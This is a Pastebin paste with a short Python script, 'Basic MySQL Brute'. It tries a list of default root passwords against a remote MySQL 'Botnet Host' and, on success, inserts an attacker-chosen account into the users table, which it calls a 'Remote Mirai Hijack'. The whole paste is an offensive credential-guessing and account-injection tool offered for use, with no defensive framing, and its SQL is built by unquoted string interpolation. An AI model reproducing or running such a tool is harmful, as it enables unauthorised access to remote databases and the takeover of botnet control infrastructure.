prostate

Brute

Aug 28th, 2020
234
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.31 KB | None | 0 0
  1. import mysql.connector
  2. from colorama import Fore, init
  3. import os
  4.  
  5. # Change Here!
  6. combos = ["root:", "root:root", "root:botnet", "root:net", "root:password", "root:admin", "root:sql", "root:Mana"]
  7. if os.name == 'nt':
  8. os.system('cls')
  9. init(convert=True)
  10. else:
  11. os.system('clear')
  12.  
  13.  
  14.  
  15. intro = f"""
  16. Basic MySQL Brute.
  17. """
  18. print(intro)
  19.  
  20.  
  21. variant = input("Variant (Database Name): ") # This is the database name, it is almost always the name of the variant.
  22. host = input('Botnet Host: ') # The IP address of the SQL server.
  23. username = input('Username Insert: ') # The username to add.
  24. password = input('Password Insert: ') # The password to add.
  25. sql = f"INSERT INTO users (username, password) VALUES ({username}, {password})" # SQL Payload/command.
  26.  
  27.  
  28. # This for loop iterates through each combo and attempts each one.
  29. for combo in combos:
  30. try:
  31. mydb = mysql.connector.connect(host=host, user=combo.split(":")[0], password=combo.split(":")[1], database=variant)
  32. mycursor = mydb.cursor()
  33. mycursor.execute(sql)
  34. mydb.commit()
  35. print("Remote Mirai Hijack has successfully been ran! ID:", mycursor.lastrow)
  36. print(f"Username and Password inserted into the table: {username}:{password}")
  37. break
  38. except:
  39. print(f"[Failed Attempt] {combo}")
Advertisement
Add Comment
Please, Sign In to add comment